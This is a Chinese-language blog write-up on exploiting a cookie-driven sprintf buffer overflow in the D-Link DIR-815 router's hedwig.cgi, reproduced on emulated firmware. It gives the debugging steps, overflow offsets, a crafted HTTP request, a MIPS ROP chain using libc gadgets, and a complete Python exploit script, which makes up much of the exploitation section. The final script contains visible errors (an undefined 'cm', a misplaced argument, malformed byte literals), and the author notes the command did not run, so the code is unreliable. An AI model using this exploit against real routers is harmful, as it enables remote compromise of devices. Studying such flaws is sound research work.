OneShell

I fight for a brighter tomorrow

0%

DIR-815:HTTP_COOKIE越界产生的缓冲区溢出

最近在整理以前的笔记,看到了刚开始学习IoT安全时候写的一篇流程文章,当时是跟着《解密家用路由器0day漏洞挖掘技术》一步步走的。那个时候对MIPS下的ROP、一些基础安全知识掌握得都不是很熟悉,如今重新看到了当时的笔记,决定独立重新再做一遍。

漏洞的原理很简单,就是由于sprintf函数导致的缓冲区溢出。数据源来自网络包的cookie,未做长度的校验就送入到了sprintf函数中拼接字符串。漏洞的利用难点在于如何通过网络数据包发送带有00截断的system函数地址,解决方案是先将system函数地址进行数学运算保存在栈上,然后从栈上恢复后再运算恢复system函数地址。

环境搭建

FirmAE是真滴好用,这篇文章我的重心也是要放在ROP利用上,因此手动搭建环境的流程就直接略过了。
固件下载地址在参考链接中,FirmAE是使用debug模式启动的,可以连接到仿真虚拟机的终端中,方便调试。
undifined
这里可以看到FirmAE对该虚拟机的编号IID等于3,就可以直接在images目录中去得到压缩的文件系统,不用再次使用binwalk解压出来一堆东西。
undifined

漏洞分析

漏洞是发生在程序/htdocs/cgibin中,该程序通过web服务程序httpd调用,httpd根据前端的请求将数据通过环境变量和标准输入传递给cgibin,cgibin执行完毕后将结果通过标准输出返回给httpd。
漏洞触发的流程如下:
httpd:
main->httpd_main->sub_407130->sub_406DB4->process_request->process_cgi->spawn 创建CGI进程
CGI:
main->hedwigcgi_main
对该漏洞调试涉及到了gdb的多进程调试,具体可以参考我之前写的这篇文章:调试httpd调用的cgibin程序,此处不再赘述,就简单说一下即可:
首先在FirmAE中找到httpd服务的进程,然后通过gdbserver attach上去:
undifined
在宿主机中执行如下的gdb调试命令,我是选择将它们全部保存到一个调试文件中,然后gdb-multiarch使用-x参数启动时运行调试命令:

1
2
3
target remote 192.168.0.1:1234
b *0x00409F88 # 断点到函数spawn执行fork处
c

在此处对路由器进行发包,格式在本文后续中有。然后就会断在执行函数fork处,执行如下命令准备调试子进程cgibin:

1
2
3
set follow-fork-mode child # 调试cgibin子进程
set detach-on-fork off
catch exec

执行到cgibin中,进行调试:

1
2
b *0x00409660
c

存在溢出的缓冲区起始地址为sp+0xC0,hedwigcgi_main函数返回地址保存在sp+0x4E4,因此需要填充0x424个字节才能开始覆盖返回地址。v27的格式前17个字节是固定的字符串/runtime/session,随后的数据都是可控的,因此控制uid=后填充0x424-0x11=0x413个字节开始覆盖返回地址。

1
2
3
4
5
6
7
8
9
10
int hedwigcgi_main()
{
......
char v27[1024]; // [sp+C0h] [-400h] BYREF
......
sess_get_uid((int)v4); // /runtime/session
v6 = sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);// uid=字符串
......
}

因此简单构造如下的数据包就可以控制函数的返回地址为0xdeadbeef:

1
2
3
4
5
6
7
8
9
10
POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1:80
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: uid={b"A" * 0x413 + p32(0xdeadbeef)}
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
x=x

undifined

漏洞利用

查看system函数的地址,system函数位于哪一个动态库中,以及动态库的加载地址:

1
2
3
4
5
6
7
8
9
10
pwndbg> info address system
Symbol "system" is at 0x77844200 in a file compiled without debugging.
pwndbg> info symbol system
system in section .text of target:/lib/libc.so.0
pwndbg> info sharedlibrary
From To Syms Read Shared Object Library
0x7789fa00 0x778a32b0 Yes (*) target:/lib/ld-uClibc.so.0
0x77870380 0x7788ccf0 Yes (*) target:/lib/libgcc_s.so.1
0x777face0 0x77849f50 Yes (*) target:/lib/libc.so.0
(*): Shared library is missing debugging information.

可以看到函数system地址的最后一个字节是00,如果直接使用的话,在数据包的处理阶段有许多字符串操作函数可能直接就截断了,也可能在格式化字符串函数sprintf处被截断。因此在ROP的时候需要进行一些运算使得payload中不包含00,且可以恢复到函数system地址。
常用的运算方式例如使用xor计算、先将地址进行加减运算然后恢复等,此处采用的是后者。

补充一个吧,一开始自己走了弯路,在cgibin中去找了大半天的gadget,然后才想到cgibin的加载地址前两位肯定是00,最后才恍然大悟,应该在libc.so.0->libuClibc-0.9.30.1.so中去寻找。

  1. 由于system函数的地址是经过计算后才能跳转执行,因此通常是选择将运算结果保存到t9,然后jr指令跳转执行。通过执行mipsrop.find("move $t9")发现了不少可以使用的指令,都是从其他寄存器中赋值给t9。
    如下的这条gadget品相就极好,不仅从s0恢复了system函数的地址,还顺带设置好了栈上的字符串地址到s5再传递给a0。这条地址也可以通过mipsrop.stackfinder()找到。

    1
    2
    3
    4
    5
    6
    7
    # gadget2
    .text:000159CC addiu $s5, $sp, 0x14C+var_13C
    .text:000159D0 move $a1, $s3
    .text:000159D4 move $a2, $s1
    .text:000159D8 move $t9, $s0
    .text:000159DC jalr $t9 ;
    .text:000159E0 move $a0, $s5
  2. 以s0为例作为中间保存值的寄存器,执行mipsrop.find("addiu $s0")
    如下的gadget对s0执行了加法操作,恢复了system函数地址,还从栈上恢复了s5寄存器,用于上一条gadget传参到a0。

    1
    2
    3
    4
    5
    # gadget1
    .text:0002D194 addiu $s0, 1
    .text:0002D198 move $t9, $s5
    .text:0002D19C jalr $t9
    .text:0002D1A0 nop

ROP构造

可以被控制的缓冲区地址是sp+0xC0+0x11=sp+0xD1。s0寄存器从sp+0x4C0开始恢复,因此填充0x3EF个字节开始覆盖;s5寄存器保存在sp+0x4C0+0x14=sp+0x4D4,因此填充0x403个字节开始覆盖;ra寄存器在之前计算过,是填充0x413个字节开始覆盖。

1
2
3
4
5
6
7
rop = b"A" * 0x3EF 
rop += p32(value_s0)
rop += b "A" * (0x403 - len(rop))
rop += p32(value_s5)
rop += b "A" * (0x413 - len(rop))
rop += p32(gadget_1)
rop += b "A" * 4

验证如下,成功开始执行gadget:
undifined
但是此时还没有将要执行的命令布局到栈上。根据gadget2,命令在sp+0x10处,因此:

1
2
rop += b"A" * 0x10
rop += cmd

验证如下,要执行的命令和缓冲区中的数据结合了,但也证明了成功利用:
undifined

EXP

修改完毕的一个exp如下,这个exp在我的环境中调试是可以输入命令到system函数的,但是执行命令似乎失败了。不管了。。。ROP已经调试好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import requests

API = "http://192.168.0.1:80/hedwig.cgi"

context.endian = "little"
context.arch = "mips"

def gen_payload(libc_base, cmd):
rop = b"A" * 0x3EF
rop += p32(libc_base + 0x00053200 - 1) # s0
rop += b"A" * (0x403 - len(rop))
rop += p32(libc_base + 0x000159CC) # s5
rop += b"A" * (0x413 - len(rop))
rop += p32(libc_base + 0x0002D194) # ra

rop += b"A" * 0x10
rop += cm
return rop

if __name__ == "__main__":
cookie = b"uid=" + gen_payload(libc_base=0x77F34000, cmd)
header = {
"Cookie" : cookie,
"Content-Type" : "application/x-www-form-urlencoded",
}
data = {"x" : "x"}
res = requests.post(url=API, headers=header, data=data)

小结

整个复现过程用了大概一天的时间,主要耗费在了找gadget上。我一开始是直接在cgibin程序中去找的gadget,等找了一大串又多又臭的ROP链才想到,cgibin程序本身的加载地址就是以00开头的。后面才醒悟过来应该在libc库中去寻找gadget。

参考链接